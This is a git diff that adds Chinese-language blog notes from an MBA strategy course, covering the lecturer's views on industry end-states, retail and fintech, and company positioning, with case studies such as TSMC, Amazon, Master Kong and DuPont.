+很多产业在变化，一开始为关键成功因素，随着时间过去，会变成关键存活因素，要用变化的视角看问题，再去寻找新行业里的关键成功因素。然后思考企业的八大资源在哪，产业生态是怎么样的，接下来再来决定企业的布局，包括产品线、技术、地理区域、品牌的布局。把这些因素摆在一起想清楚之后，再决定定位。所以，战略其实就是从终局到布局，布局到竞争优势和定位。 + +竞争优势和定位确定之后，最终在市场上体现的是VPC，V是顾客愿意支付的最高金额，P是价格，C是成本。每个企业的战略不一样，有些是V的战略，即提高顾客价值的战略，有些是C的战略，即通过降低成本来赚取利润。无论如何，V要大于P，要大于C。VPC不适用于互联网产业，它是另外一套竞争生态。 + +价值重要OR成本重要？ +创造价值的方式比较多，汤教授建议大家不要总是考虑杀成本。除非公司是独一无二的，否则，最后会被一些低工资的国家所取代。 + +第二部分 战略的特性 + +1.大战略、小战略 + +企业要成功，要识势识人、适人适事。识势识人，识即意识到外部环境的趋势，看到战略终局，形成长期的战略目标，然后再进行布局。 + +战略就是根据 “势”去布局，战略就是资源的运用、定位和布局。战略布局里有两个战略：大战略和小战略。大战略，即公司长久发展的方向和定位，小战略，即与敌人竞争的战略。 + +根据《孙子兵法》：“上兵伐谋，其次伐兵，其下攻城”。即最好的军事手段是以己方之谋略挫败敌方，其次是通过外交手段瓦解敌人，再次是用武力击败敌军，最下策是攻打敌人的城池。所以，谋略就是大战略，伐兵、攻城是小战略。 + +根据马云，战略战略，七分略，三分战。因此，略比战重要。 + +对于一个企业而言，大战略重要性高过小战略，因为如果大战略错了，小战略再好也无法挽救；大战略对了，小战略有一点点差错，无伤。例如，通过某种方式将成本降到18%，但是无法降到20%，也是对的。所以最重要的就是大战略。 + +2.顺势而为 + +战略要顺势而为，提早布局，及时转型。纵观历史，英雄都是顺势而成功的，逆势而成功的少之又少。所以，时势造英雄。例如： + +苹果的飞黄腾达得益于iPhone，iPhone不是通讯工具，是娱乐工具，里面有音乐、影片，其发展得益于3G网络的发展，3G得益于半导体技术的进步。所以，半导体技术+通讯技术的进步，就形成了一个舞台，乔布斯看到了这个舞台，顺应了时势，成为英雄。所以，只有时势造英雄，没有英雄造时势。但为什么这个人是英雄，而不是别人？因为他看到了别人看不到机会。 + +汤教授认为，识势并没有看起来那么容易，了解趋势之后，要思考这个趋势会为自己带来什么样的影响。顺势而为是基本动作，要看到别人看不到的结果。那么如何判断趋势？有以下三个步骤： + +第一，what’s new，观察有什么新事情、新趋势。比如，明年5G来了会怎样？对企业有哪些影响？当你在问这些问题时，竞争对手也在问这些问题，大家都会看到同样的趋势，那怎么做会不一样？ + +第二，why，要知道为什么事情会这样发生。例如：油价下跌了，为什么油价会下跌？对各行业的发展有什么影响？对经济的发展有什么影响？ + +第三，So what，思考会有什么结果，这最重要。因为趋势大家都看得到，所以要去思考怎样去看别人看不到的机会。这取决于每个人的智商，汤教授认为做企业，智商比情商重要。 + +还要有思考的广度跟深度，深度就是要多问why，例如，TOYOTA的管理原则，什么事情发生，要问五个why。广度就是要多问So what？事情发生的原因是什么，后续会有什么样的结果？例如：中美贸易战会有哪些后果？哪个后果对你影响最大？这样的后果你要怎样去应对。再例如：未来经济的走向如何，美国加息了，日本会不会加息？欧洲会不会加息？中国会不会加息？当你想到这些问题的时候，多想想就这些问题的发展趋势和影响所带来的结果。 + +![](/uploads/2019/06/03-91.png) + +因此，取势的结果就是要看到战略终局，之后开始做布局，战略终局即未来5-10年会发生什么样的变化，以下为列举的几个方面的例子： + +第一，技术 + +每个行业的技术都在变化，需要思考未来技术的变化会怎么样？由此会不会产生需求的变化？ + +第二，需求 + +例如：钻石行业，影响钻石最重要因素是婚礼数目的多寡，长久看，汤教授认为未来钻石行业的发展不会好，因为年轻人不结婚了。 + +例如：油价上升或下跌，下跌了会有什么影响？首先对保险公司的发展不利，因为车越多，出车祸的几率越大。 + +第三，产品线 + +需求的变化，导致产品线不断变化，例如：由于油价下跌，市场上大车会增多，由此产生联动作用，对汽车零配件行业也有影响。 + +第四，经营模式 + +例如：自动驾驶汽车出来以后，大家或许不会再买车，无论去哪，直接在APP上操作即可，因为买车之后还要考虑停车位和养车的成本。这是未来经营模式的变化，对汽车行业的影响就非常大，汤教授认为整个汽车行业一定会有天翻地覆的变化。 + +第五，最小经济规模 + +例如：以前有所谓的大型炼钢厂，现在，在美国，小型的炼钢厂已出现，最小经济规模开始变化。 + +第六，进入障碍 + +汤教授讲到，5G时代，进入障碍会不一样。 + +第七，成本结构 + +当进入障碍开始变化时，成本结构，固定成本和变动成本也开始变化。 + +第八，产品差异化 + +产品差异化的变化视产业而定，每个产业都不一样。 + +第九，产业集中度的变化 + +例如：BAT会不会被打败？会不会有第四家出现？有的话会是什么样的形式？ + +例如：5G时，世界会发生天翻地覆的变化。5G的速度大概是4G的100倍，当下载一个影片，说“下载”的时间就完成了，5G的影响无远弗届，这个世界会变得很不一样。 + +第十，国际上比较利益 + +由于中美贸易大战，国际上的比较利益开始变化，全世界的不稳定度也开始增加，未来怎样，目前尚不明朗。 + +![](/uploads/2019/06/03-92.png) + +以上就是战略终局，以10年为期的话，每个产业都会有变化，需要提早看到这个变化，看到别人看不到的机会，提早布局。如果这个变化对企业发展不利，就要及早转型。 + +很多时候由于资源的陷阱，企业谋求转型往往来不及，因为通常情况下都是不赚钱的时候才想到转型，但转型需要投资，需要新设备、新研发、新销售机会。所以要提早转型，趁企业还有钱的时候，去尝试新的发展道路。 + +所以如果只依靠现有的技术，一定会被历史埋没。要多想想未来会怎么样，尝试多元化经营。 + +3.取势与战略终局的小案例 + +案例一：台积电（TSMC） + +摩尔定律：当价格不变时，硅片的密度每18个月增加一倍，性能也将提升一倍。换言之，每一美元所能买到的电脑性能，将每隔18个月翻一倍以上。这一定律揭示了信息技术进步的速度。摩尔定律产生于1966年。 + +摩尔定律的影响：（1）电子产品的越来越轻薄短小（2）价格越来越低（3）需求越来越高。但是在电子产品行业，在技术无差异化的前提下，价格的竞争越来越激烈。 + +同样都是摩尔定律，同样都是趋势，有的人就看到了这其中的影响。汤教授列举了张忠谋的案例，他毕业于麻省理工学院，后去斯坦福读了博士，曾任美国德州仪器的副总裁，是华人在美国公司里最高层的一个主管。根据摩尔定律，他发现了差异化，传统的制造业是设计、硅片的制造、封装测试，将设计和生产芯片集合在了一起，是上下游的垂直整合，叫做IDM。但是当芯片制造的密度越来越高时，芯片制造需要投资的设备就越来越贵，而很多设计商没有能力去投资高价的设备。 + +张忠谋由此想到，市场需要一个专业的晶圆代工模式的出现，只做制造，不负责设计和封装测试，这就可以降低上游设计的投资规模，由此产生代工模式。1988年，他带着这个方案到IBM（全世界最大的电子公司）和Intel去融资，均以失败告终。后来台湾政府投资，并帮其争取到飞利浦的投资，由此，台湾积体集成电路公司成立，简称台积电，英文简称TSMC，现在是全世界最大的晶圆代工公司。如果它倒闭，全世界的半导体业都要垮掉，因为没有帮其做半导体的公司了。虽然全世界很多人都知道摩尔定律，但很少会想到晶圆代工的模式。台积电至今已成立30多年，目前市值1000亿美金。台积电是首家，第二家叫做联电，联电股票跟台积电的价格大概差20倍。 + +案例二：游戏机 + +游戏机，由于其在游戏中反应速度比较快，因此，比PC更能提供良好的客户体验。但5G时代就要来了，5G比4G快100倍，或许会改变PC端反应慢的现状。5G时代，这个世界会变得很不一样，需要取势，去看清战略终局。 + +案例三：PC的战略终局 + +10年前都认为PC的终局是越来越快。但乔布斯有不同的观点，他认为PC够用就好，主要是不耗电。所以他推出了iPad，iPad重点强调移动性、电池电力的极大化。iPad推出后，PC产业沉寂了将近十年。以此可知，一个人的新想法可以颠覆一个产业，这个新想法看到整个战略终局发生了改变，整个竞争的环境也就随之改变。所以，PC的战略终局就是移动性和电池电力的极大化。 + +因此，当你看到的东西跟别人不一样，这就是你的机会。为什么乔布斯不早做？因为早的时候PC还不够快，当快到某个程度以后，快已经不重要了，再快下去的话，耗电量就会很高，随之，PC就很热，又需要强力的风扇，而强力的风扇又耗电。 + +所以，汤教授认为追寻PC速度的极大化绝对是死路一条，5G时代，PC的整个设计又会完全不一样。 + +案例四：汽车业的战略终局 + +自动驾驶出现之后，汽车的目的是帮你从一个地点到另一个地点。这时，无论你坐的是什么车，已无差别。 + +电动车是否为汽车行业的战略终局？汤教授认为目前不好回答，第一，因为电动车太贵，电池又太重，这就会影响续航，第二，待汽车用完，无处丢放电池。全世界一年8000万辆车，如果都用电动车的话，电池的制造量无法承受，废弃车也无处处理。汤教授认为，关于废弃电池的处理问题，蕴藏着机会。 + +所以，电动车和自动驾驶汽车的出现，会对汽车业的经营环境产生巨大的改变，尤其自动驾驶汽车的出现，或许未来生产汽车的公司就不再销售汽车，而是去经营出租公司。例如：BMW的定位就已改变，以前BMW是汽车制造商，现在是移动服务商，这就变成另外一个定位的问题了。 + +案例五：手机行业策略终局 + +之前我们认为手机的功能越多越好，电池越多越好，声音越大越好，然而现在手机的竞争不再是功能的竞争，而是手机平台的竞争，即IOS和安卓的竞争。 + +未来的竞争是作业系统的竞争。2005年谷歌买下了安卓系统，免费提供，结果就是其他公司不再发展自己的作业系统，直接免费使用安卓系统。但是未来或许会受制于它。汤教授讲到战略终局对目前的影响，试设想，如果13年前华为买下安卓系统的话，现在手机业就是中国的天下。当然，还有一个机会，就是自动驾驶汽车的作业系统。 + +汤教授认为，这个世界变化很快，需要抢先布局，公司领导要有独排众议的能力，要看到别人看不到的机会，不要人云亦云。 + +第三部分 案例分析 + +1.零售业的战略终局 + +1.1 Amazon VS Walmart + +Amazon是最有效率的网络商店，沃尔玛是最有效率的实体商店。以下是两家公司2004年财报的对比： + +![](/uploads/2019/06/03-93.png) + +根据上图，亚马逊跟沃尔玛相比，毛利差不多。从这份财报里看不出网络电商的独特竞争优势，但仔细分析： + +广告方面，Amazon 2.2%，沃尔玛是成熟期，只有0.5%。因此预测到成熟期，亚马逊也不用花掉2.2%，就省了1.7%。 + +研发方面，亚马逊5%，它2004年时就在做云计算，而沃尔玛是0，因此这5%是亚马逊用于未来发展的。5.0%+1.7%=6.7%。 + +扣掉税，美国的税1/3，还剩下4.4%。4.4%加净利4.2%，即8.6%。当净利达到8.6%时，投资报酬率跟股东报酬率，全部加倍，以下为具体解析： + +![](/uploads/2019/06/03-94.png) + +由此可知亚马逊电商有独特的竞争优势，一定优于传统的实体商，14年前，我们就可以看到零售业的战略终局就是电商，不会是实体商。 + +1.2 对实体店的影响 + +1.2.1 对家电连锁实体店的影响 + +全美第二大家电连锁店Circuit City，2008年倒闭，几十亿的资产就不见了。 + +1.2.2 对家居用品实体店的影响 + +家居连锁店倒闭比较早的原因：床单跟枕头套是非常麻烦的东西。因为消费者喜好不一样，但实体商能够摆出的种类有限，所以这个产业在实体店铺经营，毛利会比较高的，但净利很低，因为店铺要留存货，客户不喜欢的话，就要把它打折卖掉。所以在这种情况下，实体店面临倒闭的风险就非常大。 + +1.2.3 对电子零件实体商的影响 + +Redo，电子零件实体商，曾在全美有4000个店面，一下就倒闭了。 + +1.2.4 对租赁录影带企业的影响 + +Blockbuster，百仕达，是出租录影带的。其经营模式是线下出租，租期三天，过期罚款，盈利90%来自于罚款。 + +Netflix，实行月费制，网上下单，给消费者寄出DVD，消费者归还一片，会再寄出一片，其模式就可以让消费者尽快归还。正由于此模式，制住了百仕达的咽喉，所以百仕达就倒闭了。 + +1.2.5中国实体店被电商冲击的案例列举 + +![](/uploads/2019/06/03-95.png) + +1.2.6实体店转型面临的问题 + +我们从2004年的财务报表，就可以看到一个零售业的战略终局。为什么实体店的连锁店都没有办法反击？源于以下几个问题： + +问题1：包袱问题 + +包袱问题，即线上线下成本不同，售价是否要相同的问题。相同的话，线下成本就比较大，不同的话，消费者又会选择线上购买。 + +问题2：SKU问题 + +SKU问题，即线上线下的SKU是否要相同的问题。 + +问题3：DNA问题 + +电商讲究的是客户体验，每天都在思考顾客要什么，顾客心里在想什么，而实体店对客户体验的重视程度不够。 + +1.3新零售 + +零售业的战略终局，会不会有新零售，线上线下相结合。例如Amazon GO、Amazon的实体书店、盒马鲜生等。 + +线上一定比线下成本要低，所以要搞线下的话，价格要一样。搞线下的人都不是真心的要搞线下，而是引流。线上的获客成本越来越高，当高到一个程度的时候，就会尝试选择线下体验区引流，当客户透过线上下单时，企业就成功的虏获了一个新顾客。所以做线下的目的不是卖东西，而是引流，例如：盒马鲜生上海店铺至少70%的销售额是来自于线上，汤教授认为如果到了90%，它就成功了。 + +1.3.1 Amazon Go + +顾客进了Amazon Go，拿拿拿就出去了。里面没有售货员，消费者也不用排队付钱，但是汤教授不认为这就是未来零售的趋势，因为投资一个这样的店成本非常高。 + +汤教授调研过台湾的全家便利店，全家表示不会大量铺开这样的无人零售店，因为成本太高，目前的现状也是Amazon Go在全美没有几家。 + +Amazon Go的目的在于以下几个方面： + +第一，向顾客展示一下技术实力。 + +第二，追踪顾客的吸引力。比如，为什么这个货架会吸引你，为什么不去看其他货架，Amazon Go在收集线下顾客消费的数据。因为线上不清楚顾客是怎么选购的，所以通过线下来观察顾客的反应，然后从线上做调整。 + +所以，其数量并不多，因为成本太高了。汤教授认为未来一定是线上跟线下结合在一起，他认为线上：线下 = 80% : 20%，最多20%来自于线下，80%还是要来自于线上，因为线上成本低。所以，零售业的战略终局一定是电商。 + +1.3.2其他产业 + +是否所有的产业都会被线上取代？汤教授列举了以下行业进行逐一说明。 + +（1）钻石行业 + +钻石是否可以在线上买卖？ + +钻石是一个高摄入产品，需要慢慢挑选，仔细看它的色泽、亮度等。James Allen在线上卖钻石。众所周知，线上好几家钻石商都在以色列、荷兰，因为这些地方是切割的中心，钻石已有一个世界标准，有了标准以后再去购买钻石，会有认证，这样消费者心里就比较踏实，所以钻石都可以进行线上交易。 + +（2）高级服饰店 + +高级服饰店，如香奈儿，是否可以在线上买卖？ + +香奈儿有线上店，而且销售得还比较好，因为有很多客户不是自己买，买的人跟穿的人是两种不同的人群。这就比较适合线上做这个生意。很多事情我们想不到的，线上统统可以做得到。所以，汤教授认为：很多产业未来都会受到网络的冲击。 + +（3）殡葬业 + +德国的殡葬业是个很好的案例。德国推崇人生而不平等，死而平等。所以德国政府给予殡葬业补助，补贴时，各个地方的葬仪社生意好的很。但后来，政府不补助了，就变成了价格的竞争，由此开始线上的竞争，大家就开始在线上购买各式各样的东西了。因此，即使这样一个我们以前认为的不会受到网络冲击的有温度的产业，也受到了网络价格的破坏和冲击。 + +所以无论哪个产业，都必须要想一想在电商网络，在各方面的冲击之下，要怎么去应对。 + +2.金融业的战略终局 + +2.1 金融业竞争策略 + +金融业包括银行、证券、保险，人寿保险、产业保险等。无论哪个行业，需要注意以下问题： + +（1）法人金融 VS 个人金融（对公业务VS 对私业务） + +个人金融容易赚钱。 + +（2）综合银行 VS 商业银行 + +根据研究结果，专业商业银行比较容易赚钱，因为规模变大之后虽有很多好处，但综效很难凸显，因为公司太大了。所以还是专业银行比较好赚钱。 + +（3）费用收入 VS 利差收入 + +汤教授认为，现在银行业是以利差收入为主，将来一定是以费用收入为主。 + +（4）华人银行 VS 国际银行 + +汤教授建议未来以华人银行业务为主比较好。他列举了汇丰银行（HSBC）的例子，该银行早期是在上海、香港发迹的，然后在欧美很快扩张，后来由于习惯不同，被罚了很多很多的钱，现在还是回到亚洲来发展了，因为亚洲还是比较适合它的DNA。 + +（5）分行 VS 非分行 + +以非分行为主的业务，例如房贷、信用卡，以分行为主的业务，例如：个人信用贷款。 + +（6）深耕策略VS吸引顾客策略 + +在战略选择上以深耕为主比较好，与现有的顾客建立关系，比去吸引新的顾客更容易。 + +（7）策略重点产品 + +汤教授认为，战略的重点产品是房贷。 + +（8）小池塘养大鱼 VS 大池塘养大鱼 + +汤教授建议做企业，要先在小池塘养大鱼，先不要想如何去大池塘去跟大鱼竞争。 + +例如民生银行，它没有办法跟国有银行竞争，它就在小池塘养大鱼，做飞机租赁。飞机租赁在中国大陆市场不大，最多400亿人民币的规模。大银行根本看不上眼。所以先在小池塘养大鱼，然后在这个细分行业做到最大。 + +但是有一些台湾的企业，通常一开始在小池塘养大鱼，但是到了一定规模，就碰到问题了。因为小池塘装不下了，就要往大池塘挤。但它的DNA是小池塘的DNA，无法与大鱼竞争。所以这种情况下，企业要多想想如何转型，否则挑战就会很大。 + +2.2 金融科技 + +2.2.1 金融科技的形态 + +![](/uploads/2019/06/03-96.png) + +上图是Fintech 的型态介绍。金融业的战略终局是Fintech，由上图可知：下面不同的技术跟上面不同业务的交叉，都会产生Fintech的应用。 + +将来是银行会赢，还是小公司会赢？汤教授认为它的战略终局还没看清楚。 + +例如：汽车行业到底是Google的汽车，apple的汽车或者是特斯拉的汽车会赢？还是传统的底特律的汽车，像通用汽车、福特汽车、Toyota，哪个会赢？汤教授认为美国西部的公司会赢，因为他们掌握了作业系统，制造的部分可以委托底特律传统的汽车业帮它制造。 + +汤教授认为，未来电子零件、软件、作业系统可能还是要靠西部的公司，所以西部的公司会赢，即美国西部硅谷的公司会赢。 + +由此，Fintech，是美国纽约华尔街的大银行会赢，还是美国西部这些小公司会赢？汤教授认为大银行会赢，因为大银行有钱，无论谁成功，大银行都可以选择去收购。这是汤教授认为的金融业的战略终局。 + +每个产业的战略终局都不一样，要多思考每个产业的战略终局。 + +2.2.2 蚂蚁金服 + +蚂蚁金服是以数据为主的金融服务业，它的目标市场是存款1万人民币以下的客户，是大型银行不太注意的客户群体。 + +实体的网点成本占整个金融业的3%，蚂蚁金服用网络的方式，降低了服务成本。这就造成以网络为主的服务的兴起。 + +本讲总结 + +第一，战略要顺势而为，提早布局，及时转型。发展不对时，一定要早点转型，晚转型的通常都来不及。所以，如果公司现在赚钱，不要志得意满。要试一试新的经营模式、新的产业。 + +第二，要顺势而为，要先知道势会怎么走，从认识势开始，导出产业的战略终局。每个产业都不一样，要多去想，未来的产业会怎样发展。识势，要看到别人看不到的机会。 + +第三，要练习自己。当一个事情发生时，问自己以下三个问题： + +What’s new？到底有什么新的事情发生了。 + +Why？为什么会这样发生。 + +So what，想一下这对自己到底有什么影响。例如：你预测安倍的三支箭失败，但他成功了，就多问一下自己为什么他会成功，自己为什么想错了，纠正自己的思维。千万不要依赖专家的意见。 + +当你经年累月训练自己问这三个W，what's new，why，so what，你就会培养一个思维的能力，这就是你自己将来做商业判断的能力。 + +问答环节： + +问题：请教汤教授，传统行业遭遇互联网、新技术冲击后，应该怎样制定转型的战略？比如传统鞋业是否会被3D打印技术取代，传统零售如何转型电商，我们应该如何思考这类问题？ + +答： + +如何转型？ + +这个问题还是回到战略终局，产业会不会被互联网所颠覆？如果会的话，就要开始准备转型。要转型，先做网站，跟顾客在网站上做沟通，尽量搜集顾客的信息，只有尽可能多的搜集消费者的数据，才有可能转型。 + +传统的企业要转到互联网企业，通通失败，是因为包袱太重。所以，汤教授建议，如果要转型做互联网，就找年轻人来做，并跟本公司的线下业务进行竞争。上海一家做照明的上市公司，在6年前开始做互联网线上时就采用的这种模式。 + +传统鞋业是否会被3D打印技术取代？ + +汤教授认为可能性不大，除非是一体成型，3D打印是一体成型的，如果鞋底跟鞋面是不一样的情况，鞋底可能是3D打印，其好处是每个人的脚不一样，把脚量好之后上传数据，就可以做鞋了。但其成本很高，短期之间可能还不可行。 + +本讲内容就到这儿，谢谢大家！ \ No newline at end of file diff --git a/_posts/2019-06-03-389-mba1002.md b/_posts/2019-06-03-389-mba1002.md new file mode 100644 index 0000000..ccf97fa --- /dev/null +++ b/_posts/2019-06-03-389-mba1002.md @@ -0,0 +1,339 @@ +--- +layout: post +title: 【战略管理模块】 第2节 战略的布局和段数 +pid: 389 +tags: [mba] +--- +战略管理第二讲 笔记 + +这节课汤明哲教授讲到布局跟段数。 + +汤明哲教授认为，不同的公司有不同的管理的方式，由此也能体现出来各自的段数有多高。这一讲会讲战略布局、定位、段数和一些战略创新案例。 + +1．战略布局 + +战略就像调兵打仗一样，有装甲部队，有空军、海军、陆军，怎么去排布起来让敌人能够不战而降，叫布局。 + +战略是干什么呢？就是资源的运用、定位跟布局。 + +1.1资源 + +企业的经营就是把资源变成核心竞争力，然后在市场上成为竞争优势进而盈利。 + +1.1.1八大资源 + +资源分为八类。 + +第一是关键人才。什么叫做关键人才？没有他就做不成事情的那个人，就是关键人才。企业第一关键人才是老板。 + +第二是关键人才的技术跟时间，第三是关键人才的继任人。 + +前三大资源都和关键人才有关。为什么关键人才那么重要？因为在东方是以人择事，在西方是以事择人。西方企业招人从来不是问题。可是在东方，招人就是个最大的问题，第一是要能信任这个员工，第二是员工需要忠诚。 + +第四个资源是政府的资源。 + +第五是土地资源。 + +第六是循环在地经济。 + +第七是供应链的资源，第八是财务的资源。 + +再强调一遍，企业最重要的资源就是关键人才。 + +汤明哲教授认为，以前大家都认为财务副总最重要，因为他负责资金的调度，而资金是企业的血液，没有资金企业就断链了。事实上，资金的断链是短时间的问题，长时间而言，人才的培养尤其是关键人才的继任人最重要。 + +![](/uploads/2019/06/03-97.png) + +1.1.2资源的作用 + +资源会设定一个布局的方向和重点。 + +曾经西门子的一个手机的部门要卖掉的时候，在全世界找买主，找到中国台湾的华硕。华硕盘点后，发现全公司只有6个人会德语，没有资源，只好就不做了。所以西门子又找了另外一家公司。所以说，资源限制布局。 + +1.1.3如何从资源导出布局和战略 + +制定战略时，第一要设定目标，3年之内、5年之内企业要达成什么目标？第二盘点资源，现有的资源可不可以达到目标？第三，从资源导出竞争优势。第四，从竞争优势出发考虑布局，进而引申出来战略。 + +1.2.布局 + +布局包括产品线的布局、在价值链上的布局、在技术的布局、地理区域的布局、多角化的多元化的布局、人才的布局、时间的布局。 + +1.2.1康师傅的布局案例 + +中国的口味是东辣西酸，南甜北咸，康师傅方便面的布局也遵循口味。 + +它有两个布局的战略。一个战略是以主要品牌，譬如红烧牛肉面，海鲜面、排骨面、香菇鸡面等等，在调味包里面加辣椒，加酸、加糖，让顾客自己去调味，这是一种布局的方式。 + +另外一种布局的方式是完全根据当地的口味来布局。在各个不同的地方有不同的品牌的布局，这样成本相对会比较高，但是除了口味适合以外，还有三个优点。 + +第一在各地都要设厂生产，能够对当地的政府有贡献；第二，能够建筑起来竞争壁垒，让别人进来会比较困难；第三，在某一个地方，譬如说在江西的爆椒牛肉面卖得好的话，可以在各个区域慢慢扩充，有一天变成全国的品牌。再配上它的5个不同的面，就完成他的方便面品牌的布局。 + +![](/uploads/2019/06/03-98.png) + +其它的茶、水等布局紧随其后。 + +可乐怎么办？康师傅购买了大陆的百事可乐经销权。百事可乐有30万个冰柜，康师傅有20万个冰柜，以前康师傅的冰柜里面摆的只是康师傅的产品，百事可乐摆的只是百事的产品，现在冰柜里面都可以摆彼此的产品，等于拓展了渠道。 + +饮料的布局完成以后，快餐店布局了炸鸡跟牛肉面，然后便利布局商店，布局它的后勤系统。 + +后勤系统是它最重要的一个环节——有了后勤系统之后，方便面、炸鸡、牛肉面，统统通过它的后勤系统在上面运作。 + +这一布局的目标，就是要成为世界食品业的最大。 + +![](/uploads/2019/06/03-99.png) + +那方便面的布局要不要进入俄罗斯，要不要去越南，要不要韩国，不去，因为方便面还有一个特色，需要热水，只有喝茶的民族才会有热水，要烧水就不方便。 + +1.2.2统一企业的布局 + +统一企业的布局也很有特色。 + +7-11，星巴克、康是美、无印良品、统一度假村，博客来（网络书店）、宅急便（快递服务）等等，有很多的产品线，这个品牌布局的中心思想是什么？ + +原总经理徐重仁揭示了谜底——New life style，也就是新的生活形态。 + +新的生活形态，比如星巴克咖啡，中国人以前不喝咖啡，星巴克咖啡就是引进了新的生活形态；7-11也是，街角的杂货店统统不见了，便利店出现了，这也是一个新的生活形态。 + +统一从国外引进品牌，然后看看年轻人的趋势，推出产品来满足年轻人的需求，整个的战略思维就是新的一种生活形态的连锁店。 + +汤明哲教授认为，什么都做绝对不是战略，有所为有所不为才是战略。布局的时候要有一个基本的想法，有一个基本的中心思想。 + +1.2.3杜邦的布局 + +杜邦是个200年的美国大型的化工公司。2008年金融风暴之后，公司发现化工的产品无法筑起竞争壁垒，进而思考转型。 + +杜邦的转型根据三个趋势。 + +第一，能源跟全球暖化——进入到干净能源的产业，就是绿能。 + +第二，人口的成长和农业的生产力之间的矛盾，可耕地有限，而食物需求一直在增长。杜邦看到这个机会，认为肥料行业跟化学有关，可以考虑进入。 + +第三，人口老龄化和医疗保健的兴起。 + +杜邦是如何转型的呢？杜邦公司很大，就在它要去的产业里面设一个小小的公司，在公司里面先小小地运作一下，看看这一个产业的经营的状况——是成本为主的竞争，还是价值为主的竞争，技术上面谁最厉害等，然后再考虑要不要进入，进入的时候要并购最大的一家还是要并购第二家，并购之后再跟着成长。 + +杜邦公司认为，危机就是转机，遇到危机就毅然决然地转型，转型也非常成功。 + +所以杜邦的例子还是说明：战略就是顺势而为，提早布局，及时转型。 + +![](/uploads/2019/06/03-100.png) + +1.2.4巴菲特的投资案例 + +巴菲特在2009年的时候投资了铁路行业，这个举动看起来非常“疯狂”。 + +因为美国的高速公路非常发达，高速公路建成了之后，铁路就开始没落。早期运输都依靠铁路，所以美国的铁路网非常密。可是后来由于铁路贵，并且不能门对门地运输，慢慢就衰落了。衰落之后铁路公司把车厢当成是仓库，变成存货管理公司，但也赚不到很多钱，所以铁路公司一直都很没落。 + +2009年当巴菲特花了440亿美金去买铁路公司，所有人都很不解。而5年之后大家就恍然大悟了，原来巴菲特在提早布局页岩油——巴菲特买的铁路公司的线路布局和页岩油产区布局高度重合。 + +汤明哲教授认为，这就是一个提早布局的典型案例。要先看到未来的变化，人们都看到页岩油的趋势，但没有人想到运输这一块，巴菲特想到了，就去布局，然后就获得了很高的利润。 + +1.2.5花旗帝国的案例 + +花旗帝国是在魏尔主理时期形成的。越战的时候魏尔成立了公司，趁机发了一笔战争财。70年代石油危机，油价暴涨，通货膨胀，利率上升，很多公司经营困难，魏尔就并购了几家公司，1983年并购了美国运通；90年代经济低迷，商业不动产市场崩盘，投资不动产的保险公司也遭受重创，所以1992年威尔就并购了一家保险公司，1997年又并购了花旗，成为花旗帝国。 + +什么是花旗的大战略？趁人之危。 + +这是因为，经济形势好的时候，大家都会赚钱；只有当经济形势不好的时候，才看出来谁真正会赚钱。 + +所以花旗的成功，就在于能够危机入市，趁人之危，所以危机就是对很多人而言，反而是个转机。 + +![](/uploads/2019/06/03-101.png) + +1.2.6 总结 + +大型的企业，之所以成长为大型的企业，都是从小做起，但是会有一个布局的概念，然后大概10年、20年的基本的方向跟这个战略是一样的。这就是这些企业能够成功的秘诀之一。汤明哲教授希望各位同学想想看自己的战略思维是什么？大方向是什么？ + +基于以上这些案例，汤明哲教授又举了一个案例。 + +台湾一个厂商想去拿特斯拉的电动车代工案子，特斯拉报价3万美金。要拿特斯拉的单子，需要分析整个电动车的成本，最贵的是电池。电池只有日本的Panasonic跟韩国的三星会做。跟他们买电池的话，那成本就吃掉几乎所有的费用了。 + +所以要抢到特斯拉单子，要先做电池。要做电池先找什么？关键人才，一步一步来布局，布局完了才有可能拿到特斯拉的单子。 + +2．战略定位 + +战略定位很重要，因为定位不一样，发展方向就不一样。 + +汤明哲教授提出问题，探讨一些著名公司的定位：Google是不是搜索引擎公司？ 亚马逊是不是网络书店？索尼是不是家电公司？微软是不是软件公司？星巴克是不是咖啡公司？迪斯尼是不是卡通公司？宝马是不是汽车制造公司？阿里巴巴是不是电商公司？这些定位对不对？ + +全部错。 + +2.1几个著名公司的定位 + +2.1.1Google + +Google是网络服务公司，他希望用户一上网就到这里来，电子邮件到这里来、网络开店到这里来，只要上网就到这里来，所以Google的定位是个网络服务公司。 + +2.1.2亚马逊 + +亚马逊是个网络基础建设公司。他从书开始，变成网络的百货公司，从网络的百货公司变成网络市集。 + +另外，因为亚马逊做了电商，所以公司有很多的资料中心，资料中心的多余的能量就提供给各个小公司做云端的服务，自己盖了100多个销货中心和仓储中心，还做了自己的车队。定位是掌握到后面的价值链。 + +亚马逊做的是破坏的工作，颠覆掉每一个产业。 + +以书为例，传统的盈利方式是，书商请作者写书，写完书之后帮他编排、帮他印刷、帮他装订、帮他送到书店，然后书店帮他卖掉，书商去收货款价值链很长。 + +亚马逊做了一个Kindle，之后所有的书商卖的书，到Kindle这边来变成电子书来卖。刚开始，书商都很高兴。因为书商传统的做法叫价格歧视——新书出来了，先出精装本，每本40块美金；然后过了6个月再出个平装本，一本20块美金。所以书商觉得Kindle出来之后对他而言是一个另外一个价格歧视的工具，可以压榨出来这一本书里面最后的价值，很高兴。 + +结果不到几年，亚马逊就雇了一个书商的副总经理当电子书的总经理，去找作者说这本书的收入分你50%，你写书直接就变成电子书的形式；然后跟读者说一个月付19.99美金，我就给你书看到饱。 + +相比之下，书商付给作者10%，因为后面的编排、印刷、运送、卖书、收帐、货款，价值链太长了，作者的贡献最多10%；可是到了电子书之后，亚马逊用完全新的模式把整个书本印刷业颠覆掉了，书商完全没有招架之力。 + +亚马逊在做什么？当它有了一个网络的基础建设了以后，就可以到不同的产业做不同的颠覆。 + +他到了药品行业，花10亿美金，买了一个网络卖药的公司，所有的卖药公司股票全部大跌；去做生鲜，买了一家超级市场，连欧洲的生鲜公司的股票都在大跌。因为有了网络基础设施之后，会很轻易颠覆掉各个产业，所以公司的股价一直非常高。 + +![](/uploads/2019/06/03-102.png) + +2.1.3索尼公司 + +索尼是个娱乐公司，它买了哥伦比亚影片公司，买了影片的产权，并且还去做游戏机，索尼不再是个家电公司，而是一个娱乐公司。 + +2.1.4微软公司 + +微软是一个提高生产力的公司，PPT等软件的实质是可以提高生产力，提高办公室的生产力，所以微软的定位是一个提高生产力的公司。 + +2.1.5星巴克 + +星巴克是除了家庭跟办公室以外第三个地方，叫Third place，不想待在家里，不想待办公室，就到星巴克这边享受一杯美味的咖啡，这是它的定位。 + +2.1.6迪斯尼 + +迪斯尼是家庭娱乐公司，它不是卡通，除了卡通以外它还有家庭的娱乐，以及IP和周边。 + 